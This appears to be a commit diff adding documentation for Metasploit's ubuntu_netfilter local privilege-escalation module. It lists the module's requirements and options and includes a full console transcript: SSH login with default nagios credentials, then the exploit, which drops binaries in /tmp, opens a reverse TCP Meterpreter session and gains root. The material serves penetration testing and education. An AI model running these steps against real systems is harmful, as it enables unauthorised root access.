|
| 1 | +## Creating A Testing Environment |
| 2 | + |
| 3 | +There are a few requirements for this module to work: |
| 4 | + |
| 5 | + 1. ip_tables.ko has to be loaded (root running iptables -L will do such) |
| 6 | + 2. libc6-dev-i386 needs to be installed to compile |
| 7 | + 3. shem and sham can not be installed/running |
| 8 | + |
| 9 | +This module has been tested against: |
| 10 | + |
| 11 | + 1. Ubuntu 16.04.1 (sudo apt-get install linux-image-4.4.0-21-generic) |
| 12 | + |
| 13 | +This module *should* work against |
| 14 | + |
| 15 | + 1. Ubuntu 16.04 |
| 16 | + |
| 17 | +## Verification Steps |
| 18 | + |
| 19 | + 1. Start msfconsole |
| 20 | + 2. Exploit a box via whatever method |
| 21 | + 4. Do: `use exploit/linux/local/ubuntu_netfilter` |
| 22 | + 5. Do: `set session #` |
| 23 | + 6. Do: `set verbose true` |
| 24 | + 7. Do: `exploit` |
| 25 | + |
| 26 | +## Options |
| 27 | + |
| 28 | + **MAXWAIT** |
| 29 | + |
| 30 | + The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds) |
| 31 | + |
| 32 | + **WritableDir** |
| 33 | + |
| 34 | + A folder we can write files to. Defaults to /tmp |
| 35 | + |
| 36 | +## Scenarios |
| 37 | + |
| 38 | +### Ubuntu 16.04.1 (with linux-image-4.4.0-21-generic) |
| 39 | + |
| 40 | +Initial Access |
| 41 | + |
| 42 | + msf > use auxiliary/scanner/ssh/ssh_login |
| 43 | + msf auxiliary(ssh_login) > set rhosts 127.0.0.1 |
| 44 | + rhosts => 127.0.0.1 |
| 45 | + msf auxiliary(ssh_login) > set username nagios |
| 46 | + username => nagios |
| 47 | + msf auxiliary(ssh_login) > set password nagios |
| 48 | + password => nagios |
| 49 | + msf auxiliary(ssh_login) > exploit |
| 50 | + |
| 51 | + [*] SSH - Starting bruteforce |
| 52 | + [+] SSH - Success: 'nagios:nagios' 'uid=1000(nagios) gid=1000(nagios) groups=1000(nagios),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1001(nagcmd) Linux nagios 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux ' |
| 53 | + [!] No active DB -- Credential data will not be saved! |
| 54 | + [*] Command shell session 1 opened (127.0.0.1:36085 -> 127.0.0.1:22) at 2016-09-16 01:15:34 -0400 |
| 55 | + [*] Scanned 1 of 1 hosts (100% complete) |
| 56 | + [*] Auxiliary module execution completed |
| 57 | + |
| 58 | +Escalate |
| 59 | + |
| 60 | + msf auxiliary(ssh_login) > use exploit/linux/local/ubuntu_netfilter |
| 61 | + msf exploit(ubuntu_netfilter) > set session 1 |
| 62 | + session => 1 |
| 63 | + msf exploit(ubuntu_netfilter) > set verbose true |
| 64 | + verbose => true |
| 65 | + msf exploit(ubuntu_netfilter) > exploit |
| 66 | + |
| 67 | + [*] Started reverse TCP handler on 172.20.14.188:4444 |
| 68 | + [*] Checking if libc6-dev-i386 is installed |
| 69 | + [+] libc6-dev-i386 is installed |
| 70 | + [*] Checking if ip_tables.ko is loaded |
| 71 | + [+] ip_tables.ko is loaded |
| 72 | + [*] Checking if shem or sham are installed |
| 73 | + [+] shem and sham not present. |
| 74 | + [*] Writing desc executable to /tmp/452xNomE.c |
| 75 | + [*] Max line length is 65537 |
| 76 | + [*] Writing 3484 bytes in 1 chunks of 12068 bytes (octal-encoded), using printf |
| 77 | + [*] Executing /tmp/452xNomE, may take around 35s to finish. Watching for /tmp/rrOA1xsB to be created. |
| 78 | + [*] Waited 0s so far |
| 79 | + [*] Waited 10s so far |
| 80 | + [*] Waited 20s so far |
| 81 | + [*] Waited 30s so far |
| 82 | + [+] desc finished, env ready. |
| 83 | + [*] Writing payload to /tmp/HbFVMTZM |
| 84 | + [*] Max line length is 65537 |
| 85 | + [*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf |
| 86 | + [*] Writing pwn executable to /tmp/eRFqvuyG.c |
| 87 | + [*] Max line length is 65537 |
| 88 | + [*] Writing 1418 bytes in 1 chunks of 4975 bytes (octal-encoded), using printf |
| 89 | + [*] Transmitting intermediate stager for over-sized stage...(105 bytes) |
| 90 | + [*] Sending stage (1495599 bytes) to 172.20.14.188 |
| 91 | + [*] Meterpreter session 2 opened (172.20.14.188:4444 -> 172.20.14.188:45114) at 2016-09-16 01:16:52 -0400 |
| 92 | + |
| 93 | + meterpreter > getuid |
| 94 | + Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0 |
0 commit comments